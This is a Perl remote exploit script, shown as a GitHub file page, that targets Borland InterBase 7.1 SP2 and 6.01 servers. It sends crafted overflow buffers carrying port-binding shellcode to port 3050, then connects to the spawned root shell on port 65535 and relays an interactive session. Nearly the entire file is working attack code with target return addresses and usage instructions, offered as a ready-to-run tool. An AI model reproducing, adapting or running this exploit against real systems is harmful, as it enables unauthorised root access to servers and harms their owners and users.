-
Notifications
You must be signed in to change notification settings - Fork 491
/
Copy pathexploitwebsites.pl
152 lines (134 loc) · 4.65 KB
/
exploitwebsites.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/perl
# Priv8security com remote exploit for Borland Interbase 7.1 SP 2 and lower
# Public Version!!!
#
# Bug found by Aviram Jenik www.securiteam.com unixfocus 5AP0P0UCUO.html
#
# [wsxz@localhost buffer]$ perl priv8ibserverb.pl -h localhost -t 0
#
# -=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-
#
# [+] Using target 0: Linux Interbase 7.1 SP 2
# [+] Sending first buffer... d0ne!
# [+] Waiting... Got awnser!
# [+] Sending final hit... Done!
# [+] Enjoy your stay on this server =)
#
# ****** Welcome to 'localhost' ******
#
# Linux localhost 2.4.21-0.27mdk #1 Wed Jan 7 03:44:18 MST 2004 i686 unknown
# unknown GNU/Linux
# uid=0(root) gid=0(root) groups=0(root)
#
use IO::Socket;
use Getopt::Std; getopts('h:p:t:o:', \%args);
if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 3050;}
if (defined($args{'t'})) { $target = $args{'t'}; }else{$target = 0;}
if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}
print "\n-=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-\n\n";
if(!defined($host)){
print "Usage:
-h <host>
-p Port <default 3050>
-t Target number from list.\n\n";
print STDERR "Targets:
0 - Linux Interbase 7.1 SP 2
1 - Linux Interbase 6.01 InterBaseSS_LI-V6.0-1.i386.rpm
2 - Crash\n\n";
print STDERR "Usage: perl $0 -h Victim -t target\n\n";
exit;
}
$shellcode = # portbind 65535 by Ramon de Carvalho priv8security.com
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a".
"\x02\x89\xe1\xb0\x66\xcd\x80\xff".
"\x49\x02\x6a\x10\x51\x50\x89\xe1".
"\x43\xb0\x66\xcd\x80\x89\x41\x04".
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0".
"\x66\xcd\x80\x59\x93\xb0\x3f\xcd".
"\x80\x49\x79\xf9\x68\x2f\x2f\x73".
"\x68\x68\x2f\x62\x69\x6e\x89\xe3".
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
if ( $target == "0" ) { # TESTED
$ret = 0x081b7ee3; # jmp esp
$pack = 0;
$desc = "Linux Interbase 7.1 SP 2";
}
if ( $target == "1" ) { # TESTED
$ret = 0x080c77bd; # jmp esp
$pack = 1;
$desc = "Linux Interbase 6.01 .rpm";
}
if ( $target == "2" ) {
$ret = 0x41424344;
$pack = 1;
$desc = "Crash it!";
}
$new_ret = pack('l', ($ret));
# Request buffer
$buffer = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00".
"\x00\x24\x00\x00\x01\x4e".
"A" x 334 .
"\x00\x00\x00\x00\x00\x04\x00\x00\x00\x10\x01\x05".
"\x61\x6c\x69\x6d\x61\x04\x05\x6c\x69\x6e\x75\x78\x06\x00\x00\x00".
"\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00".
"\x00\x02\x00\x00\x00\x08\x00\x00\x00\x24\x00\x00\x00\x02\x00\x00".
"\x00\x04\x00\x00\x00\x03\x00\x00\x00\x0a\x00\x00\x00\x01\x00\x00".
"\x00\x02\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x0a\x00\x00".
"\x00\x24\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x05";
# This buffer is for 7.1 version, its a simple classic overflow.
$buffer2 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x2c".
"A" x 152 . $new_ret . "\x90" x (144 - length($shellcode)) . $shellcode.
"\x00\x00\x00\x00".
"\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x74\x5a\x72\x64\x6d".
"\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";
# This buffer is for 6.01, a little tricky to exploit.
$buffer3 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x4e".
"\x90" x (128 - length($shellcode)) . $shellcode.
$new_ret x 2 . "\xf8\xfd\xff\xbf" . "\x90" x (180 - length($shellcode)) . $shellcode.
"\xf0\x3a\x1e\x08".
"AAAAAAAAAA".
"\x00\x00\x00\x00".
"\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x7a\x5a\x72\x64\x6d".
"\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port)
or die "[-] Cant Connect!!\n";
print STDERR "[+] Using target $target: $desc\n";
print STDERR "[+] Sending first buffer...";
$sock->send($buffer);
print STDERR " d0ne!\n";
print STDERR "[+] Waiting... ";
$sock->recv($text,128);
if($text){
print STDERR "Got awnser!\n";
}
print STDERR "[+] Sending final hit... ";
if($pack){
$sock->send($buffer3);
}else{
$sock->send($buffer2);
}
print STDERR "Done!\n";
sleep(3);
$sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] No luck, try other offset next time ok.\n";
print "[+] Enjoy your stay on this server =)\n";
$sc->autoflush(1);
print $sc "echo;echo \"****** Welcome to '`hostname -s`' ******\"\n";
print $sc "echo;uname -a;id;echo\n";
die "cant fork: $!" unless defined($pid = fork());
if ($pid) {
while(defined ($line = <$sc>)) {
print STDOUT $line;
}
kill("TERM", $pid);
}
else
{
while(defined ($line = <STDIN>)) {
print $sc $line;
}
}
close($sc);
print "Good bye!!\n";
# Certified Ethical Hacker [2004-06-25]